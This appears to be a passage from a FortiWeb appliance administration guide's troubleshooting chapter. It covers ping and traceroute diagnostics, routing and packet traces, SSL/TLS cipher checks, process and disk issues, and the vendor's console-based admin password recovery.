By default, the FortiWeb appliance will forward only HTTP/HTTPS traffic to your protected web servers. (That is, IP-based forwarding is disabled.) For information on enabling forwarding of FTP or other protocols, see the `config router setting` command in the [FortiWeb CLI Reference](#).

By default, FortiWeb appliances will respond to `ping` and `traceroute`. However, if the appliance does not respond, and there are no firewall policies that block it, ICMP type 0 (ECHO_RESPONSE) might be effectively disabled.

To enable ping and traceroute responses from FortiWeb

1. Go to *System > Network > Interface*.

To access this part of the web UI, you must have *Read* and *Write* permission in your administrator's account access profile to items in the *Router Configuration* category. For details, see [“Permissions” on page 46](#).

2. In the row for the network interface which you want to respond to ICMP type 8 (ECHO_REQUEST) for `ping` and UDP for `traceroute`, click *Edit*.
A dialog appears.
3. Enable *PING*.



Disabling *PING* only prevents FortiWeb from **receiving** ICMP type 8 (ECHO_REQUEST) and `traceroute`-related UDP and responding to it.

It does **not** disable FortiWeb CLI commands such as `execute ping` or `execute traceroute` that **send** such traffic.

4. If *Trusted Host #1*, *Trusted Host #2*, and *Trusted Host #3* have been restricted, verify that they include your computer or device's IP address. Otherwise FortiWeb will not respond.
5. Click *OK*.

The appliance should now respond when another device such as your management computer sends a `ping` or `traceroute` to that network interface.

To verify routes between clients and your web servers

1. Attempt to connect **through** the FortiWeb appliance, from a client to a protected web server, via HTTP and/or HTTPS.
If the connectivity test fails, continue to the next step.
2. Use the `ping` command on both the client and the server to verify that a route exists between the two. Test traffic movement in both directions: from the client to the server, and the server to the client. Web servers do not need to be able to initiate a connection, but must be able to send reply traffic along a return path.



In networks using features such as asymmetric routing, routing success in one direction does **not** guarantee success in the other.

If the routing test **succeeds**, continue with step 4.

If the routing test **fails**, continue to the next step.

3. Use the `tracert` or `traceroute` command on both the client and the server (depending on their operating systems) to locate the point of failure along the route.

If the route is broken when it reaches the FortiWeb appliance, first examine its network interfaces and routes. To display network interface addresses and subnets, enter the CLI command:

```
show system interface
```

To display all recently-used routes with their priorities, enter the CLI command:

```
diagnose network route list
```

You may need to verify that the physical cabling is reliable and not loose or broken, that there are no IP address or MAC address conflicts or blacklisting, misconfigured DNS records, and otherwise rule out problems at the physical, network, and transport layer.

If these tests **succeed**, a route exists, but you cannot connect using HTTP or HTTPS, an application-layer problem is preventing connectivity.

4. For application-layer problems, on the FortiWeb, examine the:

- matching server policy and all components it references
- certificates (if connecting via HTTPS)
- web server service/daemon (it should be running, and configured to listen on the port specified in the server policy for HTTP and/or HTTPS, for virtual hosts, they should be configured with a correct `Host: name`)

On routers and firewalls between the host and the FortiWeb appliance, verify that they permit HTTP and/or HTTPS connectivity between them.

Testing for connectivity with ping

The `ping` command sends a small data packet to the destination and waits for a response. The response has a timer that may expire, indicating that the destination is unreachable via ICMP.



Connectivity via ICMP only proves that a route exists. It does **not** prove that connectivity also exists via other protocols at other layers such as HTTP.

ICMP is part of Layer 3 on the OSI Networking Model. `ping` sends Internet Control Message Protocol (ICMP) `ECHO_REQUEST` (“ping”) packets to the destination, and listens for `ECHO_RESPONSE` (“pong”) packets in reply.

Some networks block ICMP packets because they can be used in a ping flood or denial of service (DoS) attack if the network does not have anti-DoS capabilities, or because `ping` can be used by an attacker to find potential targets on the network.

Beyond basic existence of a possible route between the source and destination, `ping` tells you the amount of packet loss (if any), how long it takes the packet to make the round trip (latency), and the variation in that time from packet to packet (jitter).

If `ping` shows **some** packet loss, investigate:

- cabling to eliminate loose connections
- ECMP, split horizon, or network loops
- all equipment between the ICMP source and destination to minimize hops

If `ping` shows **total** packet loss, investigate:

- cabling to eliminate incorrect connections
- all firewalls, routers, and other devices between the two locations to verify correct IP addresses, routes, MAC lists, trusted hosts, and policy configurations

If `ping` finds an outage between two points, use `traceroute` to locate exactly where the problem is.

To ping a device from the FortiWeb CLI

1. Log in to the CLI via either SSH, Telnet, or You can ping from the FortiWeb appliance in the *CLI Console* widget of the web UI.
2. If you want to adjust the behavior of execute `ping`, first use the `execute ping-options` command. For details, see the [FortiWeb CLI Reference](#).

3. Enter the command:

```
execute ping <destination_ipv4>
```

where <destination_ipv4> is the IP address of the device that you want to verify that the appliance can connect to, such as 192.168.1.1.



To verify that routing is bidirectionally symmetric, you should **also** ping the appliance. See “[To enable ping and traceroute responses from FortiWeb](#)” on page 627 and “[To ping a device from a Microsoft Windows computer](#)” on page 630 or “[To ping a device from a Linux or Mac OS X computer](#)” on page 631.

If the appliance **can** reach the host via ICMP, output similar to the following appears:

```
PING 192.168.1.1 (192.168.1.1): 56 data bytes
64 bytes from 192.168.1.1: icmp_seq=0 ttl=253 time=6.5 ms
64 bytes from 192.168.1.1: icmp_seq=1 ttl=253 time=7.4 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=253 time=6.0 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=253 time=5.5 ms
64 bytes from 192.168.1.1: icmp_seq=4 ttl=253 time=7.3 ms
```

```
--- 192.168.1.1 ping statistics ---
```

```
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 5.5/6.5/7.4 ms
```

If the appliance **cannot** reach the host via ICMP, output similar to the following appears:

```
PING 10.0.0.1 (10.0.0.1): 56 data bytes
```

```
Timeout ...
```

```
Timeout ...
```

```
Timeout ...
```

```
Timeout ...
```

```
Timeout ...
```

```
--- 10.0.0.1 ping statistics ---
```

```
5 packets transmitted, 0 packets received, 100% packet loss
```

“100% packet loss” and “Timeout” indicates that the host is not reachable.

For more information, see the [FortiWeb CLI Reference](#).

To ping a device from a Microsoft Windows computer

1. Click the *Start* (Windows logo) menu to open it.

If the host is running Windows XP, instead, go to *Start > Run...*

2. Type `cmd` then press Enter.

The Windows command line appears.

3. Enter the command:

```
ping <options_str> <destination_ipv4>
```

where:

- <destination_ipv4> is the IP address of the device that you want to verify that the computer can connect to, such as 192.168.1.1.
- <options_str> are zero or more options, such as:
 - -t — Send packets until you press Control-C.
 - -a — Resolve IP addresses to domain names where possible.
 - -n *x* — Where *x* is the number of packets to send.

For example, you might enter:

```
ping -n 5 192.168.1.1
```

If the computer **can** reach the destination, output similar to the following appears:

```
Pinging 192.168.1.1 with 32 bytes of data:
```

```
Reply from 192.168.1.1: bytes=32 time=7ms TTL=253
```

```
Reply from 192.168.1.1: bytes=32 time=6ms TTL=253
```

```
Reply from 192.168.1.1: bytes=32 time=11ms TTL=253
```

```
Reply from 192.168.1.1: bytes=32 time=5ms TTL=253
```

```
Ping statistics for 192.168.1.1:
```

```
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
```

```
Approximate round trip times in milli-seconds:
```

```
Minimum = 5ms, Maximum = 11ms, Average = 7ms
```

If the computer **cannot** reach the destination, output similar to the following appears:

```
Pinging 10.0.0.1 with 32 bytes of data:
```

```
Request timed out.
```

```
Request timed out.
```

```
Request timed out.
```

```
Request timed out.
```

```
Ping statistics for 10.0.0.1:
```

```
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
```

```
"100% loss" and "Request timed out." indicates that the host is not  
reachable.
```

To ping a device from a Linux or Mac OS X computer

1. Open a command prompt.



Alternatively, on Mac OS X, you can use the Network Utility application.

2. Enter the following command:

```
ping <options_str> <destination_ipv4>
```

where:

- <destination_ipv4> is the IP address of the device that you want to verify that the computer can connect to, such as 192.168.1.1.
- <options_str> are zero or more options, such as:
 - -W *y* — Wait *y* seconds for ECHO_RESPONSE.
 - -c *x* — Where *x* is the number of packets to send.

If the command is not found, you can either enter the full path to the executable or add its path to your shell environment variables. The path to the ping executable varies by distribution, but may be /bin/ping.

If you do **not** supply a packet count, output will continue until you terminate the command with Control-C. For more information on options, enter `man ping`.

For example, you might enter:

```
ping -c 5 -W 2 192.168.1.1
```

If the computer **can** reach the destination via ICMP, output similar to the following appears:

```
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.  
64 bytes from 192.168.1.1: icmp_seq=1 ttl=253 time=6.85 ms  
64 bytes from 192.168.1.1: icmp_seq=2 ttl=253 time=7.64 ms  
64 bytes from 192.168.1.1: icmp_seq=3 ttl=253 time=8.73 ms  
64 bytes from 192.168.1.1: icmp_seq=4 ttl=253 time=11.0 ms  
64 bytes from 192.168.1.1: icmp_seq=5 ttl=253 time=9.72 ms
```

```
--- 192.168.1.1 ping statistics ---  
5 packets transmitted, 5 received, 0% packet loss, time 4016ms  
rtt min/avg/max/mdev = 6.854/8.804/11.072/1.495 ms
```

If the computer **cannot** reach the destination via ICMP, if you specified a wait and packet count rather than having the command wait for your Control-C, output similar to the following appears:

```
PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data.
```

```
--- 10.0.0.1 ping statistics ---  
5 packets transmitted, 0 received, 100% packet loss, time 5999ms  
"100% packet loss" indicates that the host is not reachable.
```

Otherwise, if you terminate by pressing Control-C (^C), output similar to the following appears:

```
PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data.  
From 172.20.120.2 icmp_seq=31 Destination Host Unreachable  
From 172.20.120.2 icmp_seq=30 Destination Host Unreachable  
From 172.20.120.2 icmp_seq=29 Destination Host Unreachable  
^C  
--- 10.0.0.1 ping statistics ---  
41 packets transmitted, 0 received, +9 errors, 100% packet loss, time  
40108ms  
pipe 3  
"100% packet loss" and "Destination Host Unreachable" indicates that  
the host is not reachable.
```

Testing routes & latency with traceroute

`traceroute` sends ICMP packets to test each hop along the route. It sends three packets to the destination, and then increases the time to live (TTL) setting by one, and sends another three packets to the destination. As the TTL increases, packets go one hop farther along the route until they reach the destination.

Most `traceroute` commands display their maximum hop count — that is, the maximum number of steps it will take before declaring the destination unreachable — before they start tracing the route. The TTL setting may result in routers or firewalls along the route timing out due to high latency.

Where `ping` only tells you if the signal reached its destination and returned successfully, `traceroute` shows each step of its journey to its destination and how long each step takes. If you specify the destination using a domain name, the `traceroute` output can also indicate DNS problems, such as an inability to connect to a DNS server.

By default, `traceroute` uses UDP with destination ports numbered from 33434 to 33534. The `traceroute` utility usually has an option to specify use of ICMP `ECHO_REQUEST` (type 8) instead, as used by the Windows `tracert` utility. If you have a firewall and you want `traceroute` to work from both machines (Unix-like systems and Windows) you will need to allow **both** protocols inbound through your firewall (UDP ports 33434 - 33534 and ICMP type 8).

To trace the route to a device from the FortiWeb CLI

1. Log in to the CLI via either SSH, Telnet, or You can ping from the FortiWeb appliance in the *CLI Console* widget of the web UI.

2. Enter the command:

```
execute traceroute {<destination_ipv4> | <destination_fqdn>}
```

where {<destination_ipv4> | <destination_fqdn>} is a choice of either the device's IP address or its fully qualified domain name (FQDN).

For example, you might enter:

```
execute traceroute www.example.com
```

If the appliance **has** a complete route to the destination, output similar to the following appears:

```
traceroute to www.fortinet.com (66.171.121.34), 32 hops max, 84 byte packets
```

```
 1  172.16.1.2  0 ms  0 ms  0 ms
 2  209.87.254.221 <static-209-87-254-221.storm.ca>  2 ms  2 ms  2 ms
 3  209.87.239.129 <core-2-g0-1-1104.storm.ca>  2 ms  1 ms  2 ms
 4  67.69.228.161  2 ms  2 ms  3 ms
 5  64.230.164.17 <core2-ottawa23_POS13-1-0.net.bell.ca>  3 ms  3 ms
 2 ms
 6  64.230.132.234 <core2-ottawadc_POS5-0-0.net.bell.ca>  20 ms  20
ms  20 ms
 7  64.230.132.58 <core4-toronto21_POS0-12-4-0.net.bell.ca>  24 ms
21 ms  24 ms
 8  64.230.138.154 <bx4-toronto63_so-2-0-0-0.net.bell.ca>  8 ms  9 ms
8 ms
 9  64.230.185.145 <bx2-ashburn_so2-0-0-0.net.bell.ca>  23 ms  23 ms
23 ms
10  12.89.71.9  23 ms  22 ms  22 ms
11  12.122.134.238 <cr2.wswdc.ip.att.net>  100 ms 12.123.10.130
<cr2.wswdc.ip.att.net>  101 ms  102 ms
12  12.122.18.21 <cr1.cgcil.ip.att.net>  101 ms  100 ms  99 ms
13  12.122.4.121 <cr1.sffca.ip.att.net>  100 ms  98 ms  100 ms
14  12.122.1.118 <cr81.sj2ca.ip.att.net>  98 ms  98 ms  100 ms
15  12.122.110.105 <gar2.sj2ca.ip.att.net>  96 ms  96 ms  96 ms
16  12.116.52.42  94 ms  94 ms  94 ms
17  203.78.181.10  88 ms  87 ms  87 ms
18  203.78.181.130  90 ms  89 ms  90 ms
19  66.171.121.34 <fortinet.com>  91 ms  89 ms  91 ms
20  66.171.121.34 <fortinet.com>  91 ms  91 ms  89 ms
```

Each line lists the routing hop number, the IP address and FQDN (if any) of that hop, and the 3 response times from that hop. Typically a value of <1ms indicates a local router.

If the appliance **does not** have a complete route to the destination, output similar to the following appears:

```
traceroute to 10.0.0.1 (10.0.0.1), 32 hops max, 84 byte packets
```

```
 1  172.16.1.2  0 ms  0 ms  0 ms
 2  172.16.1.10 0 ms  0 ms  0 ms
 3  * * *
 4  * * *
```

The asterisks (*) indicate no response from that hop in the network routing. For more information, see the [FortiWeb CLI Reference](#).

To trace the route to a device from a Microsoft Windows computer

1. Click the *Start* (Windows logo) menu to open it.

If the host is running Windows XP, instead, go to *Start > Run...*

2. Type `cmd` then press Enter.

The Windows command line appears.

3. Enter the command:

```
tracert {<destination_ipv4> | <destination_fqdn>}
```

If the appliance **has** a complete route to the destination, output similar to the following appears:

Tracing route to `www.fortinet.com` [`66.171.121.34`]

over a maximum of 30 hops:

```
  1      <1 ms      <1 ms      <1 ms  172.16.1.2
  2       2 ms       2 ms       2 ms  static-209-87-254-221.storm.ca
[209.87.254.221]

  3       2 ms       2 ms      22 ms  core-2-g0-1-1104.storm.ca
[209.87.239.129]
  4       3 ms       3 ms       2 ms  67.69.228.161
  5       3 ms       2 ms       3 ms  core2-ottawa23_POS13-1-0.net.bell.ca
[64.230.164
.17]
(Output abbreviated.)
 15      97 ms      97 ms      97 ms  gar2.sj2ca.ip.att.net [12.122.110.105]
 16      94 ms      94 ms      94 ms  12.116.52.42
 17      87 ms      87 ms      87 ms  203.78.181.10
 18      89 ms      89 ms      90 ms  203.78.181.130
 19      89 ms      89 ms      90 ms  fortinet.com [66.171.121.34]
 20      90 ms      90 ms      91 ms  fortinet.com [66.171.121.34]
```

Trace complete.

Each line lists the routing hop number, the 3 response times from that hop, and the IP address and FQDN (if any) of that hop. Typically a value of `<1ms` indicates a local router.

If the appliance **does not** have a complete route to the destination, output similar to the following appears:

Tracing route to `10.0.0.1` over a maximum of 30 hops

```
  1      <1 ms      <1 ms      <1 ms  172.16.1.2
  2      <1 ms      <1 ms      <1 ms  172.16.1.10
  3       *         *         *      Request timed out.
  4       *         *         *      Request timed out.
  5  ^C
```

The asterisks (`*`) and “Request timed out.” indicate no response from that hop in the network routing.

To trace the route to a device from a Linux or Mac OS X computer

1. Open a command prompt.



Alternatively, on Mac OS X, you can use the Network Utility application.

2. Enter (the path to the executable varies by distribution):

```
tracert {<destination_ipv4> | <destination_fqdn>}
```

If the appliance **has** a complete route to the destination, output similar to the following appears:

```
tracert to www.fortinet.com (66.171.121.34), 30 hops max, 60 byte packets
 1  172.16.1.2 (172.16.1.2)  0.189 ms  0.277 ms  0.226 ms
 2  static-209-87-254-221.storm.ca (209.87.254.221)  2.554 ms  2.549 ms  2.503 ms
 3  core-2-g0-1-1104.storm.ca (209.87.239.129)  2.461 ms  2.516 ms  2.417 ms
 4  67.69.228.161 (67.69.228.161)  3.041 ms  3.007 ms  2.966 ms
 5  core2-ottawa23_POS13-1-0.net.bell.ca (64.230.164.17)  3.004 ms  2.998 ms  2.963 ms
(Output abbreviated.)
16  12.116.52.42 (12.116.52.42)  94.379 ms  94.114 ms  94.162 ms
17  203.78.181.10 (203.78.181.10)  122.879 ms  120.690 ms  119.049 ms
18  203.78.181.130 (203.78.181.130)  89.705 ms  89.411 ms  89.591 ms
19  fortinet.com (66.171.121.34)  89.717 ms  89.584 ms  89.568 ms
```

Each line lists the routing hop number, the IP address and FQDN (if any) of that hop, and the 3 response times from that hop. Typically a value of <1ms indicates a local router.

If the appliance **does not** have a complete route to the destination, output similar to the following appears:

```
tracert to 10.0.0.1 (10.0.0.1), 30 hops max, 60 byte packets
 1  * * *
 2  172.16.1.10 (172.16.1.10)  4.160 ms  4.169 ms  4.144 ms
 3  * * *
 4  * * *^C
```

The asterisks (*) indicate no response from that hop in the network routing.

Relatedly, if the computer's DNS query cannot resolve the host name, output similar to the following appears:

```
example.lab: Name or service not known
Cannot handle "host" cmdline arg `example.lab' on position 1 (argc 1)
```

Examining the routing table

When a route does not exist, or when hops have high latency, examine the routing table. The routing table is where the FortiWeb appliance caches recently used routes.

If a route is cached in the routing table, it saves time and resources that would otherwise be required for a route lookup. If the routing table is full and a new route must be added, the oldest, least-used route is deleted to make room.

To check the routing table in the CLI, enter:

```
diagnose network route list
```

Checking port assignments

If you are attempting to connect to FortiWeb on a given network port, and the connection is expected to occur on a different port number, the attempt will fail. For a list of ports used by FortiWeb, see [“Appendix A: Port numbers” on page 651](#). For ports used by your own HTTP network services, see [“Defining your network services” on page 264](#).

Performing a packet trace

When troubleshooting malformed packet or protocol errors, it helps to look inside the protocol headers of packets to determine if they are traveling along the route you expect, and with the flags and other options you expect. For instructions, see [“Packet capture” on page 618](#).



If you configure virtual servers on your FortiWeb appliance, packets' destination IP addresses will be those IP addresses, not the physical IP addresses (i.e., the IP address of port1, etc.). An ARP update is sent out when a virtual IP address is configured.

If the packet trace shows that packets **are** arriving at your FortiWeb appliance's interfaces but no HTTP/HTTPS packets egress, check that:

- Physical links are firmly connected, with no loose wires
- Network interfaces/bridges are brought up (see [“Configuring the network interfaces” on page 111](#))
- Link aggregation peers, if any, are up (see [“Link aggregation” on page 118](#))
- VLAN IDs, if any, match (see [“Adding VLAN subinterfaces” on page 115](#))
- Virtual servers or V-zones exist, and are enabled (see [“Configuring a bridge \(V-zone\)” on page 120](#))
- Matching policies exist, and are enabled (see [“Configuring basic policies” on page 146](#))
- If using HTTPS, valid server/CA certificates exist (see [“How to offload or inspect HTTPS” on page 273](#))
- IP-layer, and HTTP-layer routes, if necessary, match (see [“Adding a gateway” on page 123](#) and [“Routing based upon URL or “Host:” name” on page 252](#))
- Web servers are responsive, if server health checks are configured and enabled (see [“Configuring server up/down checks” on page 244](#))
- Load balancers, if any, are defined (see [“Defining your proxies, clients, & X-headers” on page 256](#))
- Clients are not blacklisted (see [“Monitoring currently blocked IPs” on page 591](#))



For offline protection mode, it is usually normal if HTTP/HTTPS packets do not egress. The nature of this deployment style is to listen only, except to reset the TCP connection if FortiWeb detects traffic in violation.

If the packet is accepted by the policy but appears to be dropped during processing, see [“Debugging the packet processing flow” on page 638](#).

Debugging the packet processing flow

If you have determined that network traffic is not entering and leaving the FortiWeb appliance as expected, or not flowing through policies and scans as expected, you can debug the packet flow using the CLI.

```
diagnose debug enable
diagnose debug flow filter policy policy-name Policy1
diagnose debug flow filter policy source-ip 172.16.1.20
```

For details, see the [FortiWeb CLI Reference](#).

Checking the SSL/TLS handshake & encryption

If the client is attempting to make an HTTPS connection, but the attempt fails after the connection has been initiated, during negotiation, the problem may be with SSL/TLS. Symptoms may include error messages such as:

- `ssl_error_no_cypher_overlap`
(Mozilla Firefox 9.0.1)
- `Error 113 (net::ERROR_SSL_VERSION_OR_CIPHER_MISMATCH): Unknown error.`
(Google Chrome 16.0.912.75 m)

Expected SSL/TLS behavior varies by SSL inspection vs. SSL offloading (see [“Offloading vs. inspection” on page 267](#)):

- **SSL offloading** — Reverse proxy mode only (see [“Supported features in each operation mode” on page 61](#)).
The handshake is between the client and FortiWeb. If the connection cannot be established, verify that the browser supports one of the key exchanges, encryption algorithms, and authentication (hashes) offered by FortiWeb. See [“Supported cipher suites & protocol versions” on page 269](#).
- **SSL inspection** — Offline protection mode and transparent inspection mode only.
The handshake is between the client and the **web server**. If the connection cannot be established, verify that the browser supports one of the key exchanges, encryption algorithms, and authentication (hashes) suggested by the web server. Server-side, you must also verify that your web server supports enough cipher suites that all required clients can connect.



Google Chrome will prefer an anonymous Diffie-Hellman key exchange. This has the property of perfect forward secrecy, which makes SSL inspection theoretically impossible. To guarantee that this is not used to hide attacks from FortiWeb, you must disable it on your web server. On Apache, you would add `!ADH` to the `SSLCipherSuite` configuration line. For example:

```
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
```

If you are not sure which cipher suites are currently supported, you can use SSL tools such as [OpenSSL](#) to discover support. For example, you could use this client-side command to know whether the web server or FortiWeb supports strong (HIGH) encryption:

```
openssl s_client -connect example.com:443 -cipher HIGH
```

or supports deprecated or old versions such as SSL 2.0:

```
openssl s_client -ssl2 -connect example.com:443
```



If your web servers are required to comply with PCI DSS, you should make sure that your web servers do not allow weak encryption. For example, if your web servers accept SSL 2.0 or MD5 hashes, you may fail your PCI DSS audit.

Resource issues

This section includes troubleshooting questions related to sluggish or stalled performance.

- Is a process consuming too much system resources?
See [“Killing system-intensive processes” on page 639](#).
- Is a server under attack?
See [“Preparing for attacks” on page 639](#).
- Has there been a sustained spike in HTTP traffic related to a specific policy?
See [“Monitoring traffic load” on page 639](#).

Killing system-intensive processes

Use the CLI to view a list of the most system-intensive processes. This may show processes that are consuming resources unusually. For example:

```
diagnose system top 10
```

The above command generates a report of processes every 10 seconds. The report provides the process names, their process ID (pid), status, CPU usage, and memory usage.

The report continues to refresh and display in the CLI until you press **q** (quit).

Once you locate an offending PID, you can terminate it:

```
diagnose system kill 9 <pid_int>
```

If the issue recurs, and corresponds with a signature or configuration change, you may need to optimize regular expressions to prevent the issue from recurring. See [“Debugging the packet processing flow” on page 638](#) and [“Regular expression performance tips” on page 600](#).

Monitoring traffic load

Heavy traffic loads can cause sustained high CPU or RAM usage. If this is unusual, no action may be required, unless you are being subject to a DoS attack. Sustained heavy traffic load may indicate that you need a more powerful model of FortiWeb.

In the FortiWeb appliance's web UI, you can view traffic load two ways:

- Monitor current HTTP traffic on the dashboard. Go to *System > Status > Status* and examine the graphs in the *Policy Summary* widget.
- Examine traffic history in the traffic log. Go to *Logs&Report > Log Access > Traffic*.

Preparing for attacks

A prolonged denial of service (DoS) or brute-force login attack (to name just a few) can bring your web servers to a standstill, if your FortiWeb appliance is not configured for it.

To fight DoS attacks, see [“DoS prevention” on page 328](#).

In the FortiWeb appliance's web UI, you can watch for attacks in two ways:

- Monitor current HTTP traffic on the dashboard. Go to *System > Status > Status* and examine the attack event history graph in the *Policy Summary* widget.
- Examine attack history in the traffic log. Go to *Logs&Report > Log Access > Attack*.

Before attacks occur, use the FortiWeb appliance's rich feature set to configure attack defenses.

Login issues

If the person cannot access the login page at all, it is usually actually a connectivity issue (see [“Ping & traceroute” on page 615](#) and [“Configuring the network settings” on page 109](#)) **unless** all accounts are configured to accept logins only from specific IP addresses (see [“Trusted Host #1” on page 212](#)).

If an administrator can connect, but cannot log in, even though providing the correct account name and password, and is receiving this error message:

```
Too many bad login attempts or reached max number of logins. Please try again in a few minutes. Login aborted.
```

single administrator mode may have been enabled. See [“Enable Single Admin User login” on page 53](#).

If the person has lost or forgotten his or her password, the `admin` account can reset other accounts' passwords (see [“Changing an administrator's password” on page 215](#)).

Checking user authentication policies

In FortiWeb, users are organized into groups. Groups are part of authentication policies. If several users have authentication problems, it is possible someone changed authentication policy or user group memberships. If a user is legitimately having an authentication policy, you need to find out where the problem lies.

To troubleshoot user access

1. In the web UI, go to *User > User Group > User Group* and examine each group to locate the name of the problem user.
2. Note the user group to which the affected users belong, especially if multiple affected users are part of one group. If the user is not a group member, there is no access.
3. Go to *Application Delivery > Authentication Policy > Authentication Rule* and determine which rule contains the problem user group. If the user group is not part of a rule, there is no access.
4. Go to *Application Delivery > Authentication Policy > Authentication Policy* and locate the policy that contains the rule governing the problem user group. If the rule is not part of a policy, there is no access.
5. Go to *Policy > Web Protection Profile > Inline Protection Profile* and determine which profile contains the related authentication policy. If the policy is not part of a profile, there is no access.

6. Make sure that inline protection profile is included in the server policy that applies to the server the user is trying to access. If the profile is not part of the server policy, there is no access.

Authentication involves user groups, authentication rules and policy, inline protection policy, and finally, server policy. If a user is not in a user group used in the policy for a specific server, the user will have no access.

When an administrator account cannot log in from a specific IP

If an administrator is entering his or her correct account name and password, but cannot log in from some or all computers, examine that account's trusted host definitions (see [“Trusted Host #1” on page 212](#)). It should include all locations where that person is allowed to log in, such as your office, but should **not** be too broad.

Remote authentication query failures

If your network administrators' or other accounts reside on an external server (e.g. Active Directory or RADIUS), first switch the account to be locally defined on the FortiWeb appliance. If the local account **fails**, correct connectivity between the client and appliance (see [“Connectivity issues” on page 626](#)). If the local account **succeeds**, troubleshoot connectivity between the appliance and your authentication server. If routing exists but authentication still fails, you can verify correct vendor-specific attributes and other protocol-specific fields by running a packet trace (see [“Packet capture” on page 618](#)).

Resetting passwords

If someone has forgotten or lost his or her password, or if you need to change an account's password, the `admin` administrator can reset the password.

If you forget the password of the `admin` administrator, however, you will **not** be able to reset its password through the web UI. You can either:

- reset the FortiWeb appliance to its default state (including the default administrator account and password) by restoring the firmware. For instructions, see [“Restoring firmware \(‘clean install’\)” on page 648](#).
- connect to the local console, reboot the FortiWeb appliance, and set the password (see [“To reset the admin account's password” on page 642](#))

To reset an account's password

1. Log in as the `admin` administrator account.
2. Go to *System > User > User*.
3. Click the row to select the account whose password you want to change.
4. Click *Edit*.
5. In the *New Password* and *Confirm Password* fields, type the new password.
6. Click *OK*.

The new password takes effect the next time that account logs in.

To reset the `admin` account's password



To do this, you **must** either have direct physical, local access to the appliance, or have connected it to your terminal server which serves as an aggregator for direct physical accesses. For security reasons, this cannot be done via the web UI nor via CLI through the Ethernet network adapters.

1. Power off the FortiWeb appliance.
2. Find the serial number of the FortiWeb.
This is usually on the bottom of physical appliances. If you have previously registered the appliance to associate it with your Fortinet Technical Support account, you can also retrieve it from the [web site](#).
3. On your computer, copy the serial number.
This is so that you are ready to quickly paste it into the terminal emulator. (Typing it slowly may cause the login to time out.) The serial number is **case sensitive**.
4. While the appliance is shut down, connect the local console port of your appliance to your computer.
5. On your management computer, start a terminal emulator such as [PuTTY](#). For details, see [“To connect to the CLI using a local console connection” on page 22](#).
6. Power on the FortiWeb appliance.
Power on self-test (POST) and other messages should begin to appear in the console.
7. Between 15 - 30 seconds after the login prompt appears, immediately enter:

```
maintainer
```

then enter:

```
bcpb<serial-number_str>
```

where `<serial-number_str>` is the serial number. (If you have copied it, in PuTTY, you can right-click to quickly paste it, instead of typing it in. This will prevent the login from timing out.)

If you are successful, the CLI will welcome you, and you can then enter the following commands to reset the `admin` account's password:

```
config system admin
  edit admin
    set password <new-password_str>
  end
exit
```

where `<new-password_str>` is the password for the administrator account named `admin`.

If you do **not** enter both the correct user name and the password within the correct time frame, the console will display an error message:

```
The hashed password length is invalid
```

To attempt the login again, power cycle the appliance.

Data storage issues

If FortiWeb cannot locally store **any** data such as logs, reports, and web site backups for anti-defacement, it might have a damaged or corrupted hard disk. For fixes, see [“Hard disk corruption or failure” on page 643](#).

If FortiWeb has been storing data but has suddenly stopped, first verify that FortiWeb has not used all of its local storage capacity by entering this CLI command:

```
diagnose system mount list
```

to display disk usage for all mounted file systems, such as:

Filesystem	1k-blocks	Used	Available	Use%	Mounted on
/dev/ram0	61973	31207	30766	50%	/
none	262144	736	261408	0%	/tmp
none	262144	0	262144	0%	/dev/shm
/dev/sdb2	38733	25119	11614	68%	/data
/dev/sda1	153785572	187068	145783964	0%	/var/log
/dev/sdb3	836612	16584	777528	2%	/home



You can use alerts to notify you when FortiWeb has almost consumed its hard disk space. See [“SNMP Event” on page 570](#). You can also configure FortiWeb to overwrite old logs rather than stopping logging when the disk is full. See [“When log disk is full” on page 537](#). (Keep in mind, however, that this may not prevent full disk problems for other features. To free disk space, delete files such as auto-learning data and old reports that you no longer need.)

If a full disk is not the problem, examine the configuration to determine if an administrator has disabled those features that store data.

If neither of those indicate the cause of the problem, verify that the disk’s file system has not been mounted in read-only mode, which can occur if the hard disk is experiencing problems with its write capabilities (see [“Hard disk corruption or failure” on page 643](#)).

Bootup issues

While FortiWeb is booting up, hardware and firmware components must be present and functional, or startup will fail. Depending on the degree of failure, FortiWeb may appear to be partially functional. You may notice that you cannot connect at all. If you can connect, you may notice that features such as reports and anti-defacement do not work. If you have enabled logging to an external location such as a Syslog server or FortiAnalyzer, or to memory, you should notice this log message:

```
log disk not mounted
```

Depending on the cause of failure, you may be able to fix the problem.

Hard disk corruption or failure

FortiWeb appliances usually have multiple disks. FortiWeb stores its firmware (operating system) and configuration files in a flash disk, but most models of FortiWeb also have an internal hard disk or RAID that is used to store non-configuration/firmware data such as logs, reports, auto-learning data, and web site backups for anti-defacement. During startup, after FortiWeb loads its boot loader, FortiWeb will attempt to mount its data disk. If this fails due to errors, you will have the opportunity to attempt to recover the disk.

To determine if one of FortiWeb’s internal disks may either:

- have become corrupted
- have experienced mechanical failure

view the event log. If the data disk failed to mount, you should see this log message:

```
date=2012-09-27 time=07:49:07 log_id=00020006 msg_id=0000000000002
type=event subtype="system" pri=alert device_id=FV-1KC3R11700136
timezone="(GMT-5:00)Eastern Time(US & Canada)" msg="log disk is not
mounted"
```

Connect to FortiWeb's CLI via local console, then supply power. After the boot loader starts, you should see this prompt:

```
Press [enter] key for disk integrity verification.
```

Pressing the Enter key will cause FortiWeb to check the hard disk's file system to attempt to resolve any problems discovered with that disk's file system, and to determine if the disk can be mounted (mounted disks should appear in the internal list of mounted file systems, /etc/mtab). During the check, FortiWeb will describe any problems that it finds, and the results of disk recovery attempts, such as:

```
ext2fs_check_if_mount: Can't detect if filesystem is mounted due to
missing mtab file while determining where /dev/sda1 is mounted.
/dev/sda1: recovering journal
/dev/sda1: clean, 56/61054976 files, 3885759/244190638 blocks
```

If the problem occurs while FortiWeb is still running (or after an initial reboot and attempt to repair the file system), in the CLI, enter:

```
diagnose hardware harddisk list
```

to display the number and names of mounted file systems.

For example, on a FortiWeb 1000C with a single properly functioning internal hard disk plus its internal flash disk, this command should show two file systems:

name	size(M)
